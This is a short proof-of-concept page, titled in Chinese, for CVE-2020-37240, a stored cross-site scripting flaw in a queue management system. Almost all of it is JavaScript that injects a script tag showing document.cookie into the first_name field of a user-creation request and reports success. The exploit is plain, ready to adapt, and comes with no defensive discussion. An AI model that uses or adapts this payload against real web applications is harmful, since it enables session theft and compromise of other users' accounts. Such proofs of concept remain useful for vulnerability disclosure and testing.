CVE-2020-37240: 排队管理系统存储型XSS漏洞

// Proof of Concept for CVE-2020-37240 // Injecting payload via User Creation var payload = '<script>alert(document.cookie);</script>'; // Simulate HTTP POST request to add user // Parameters: first_name, last_name, email var params = 'first_name=' + encodeURIComponent(payload) + '&last_name=User&[email protected]'; var xhr = new XMLHttpRequest(); xhr.open('POST', '/path/to/create/user', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.onload = function () { if (xhr.status === 200) { console.log('Payload injected successfully. Check User List page.'); } }; xhr.send(params);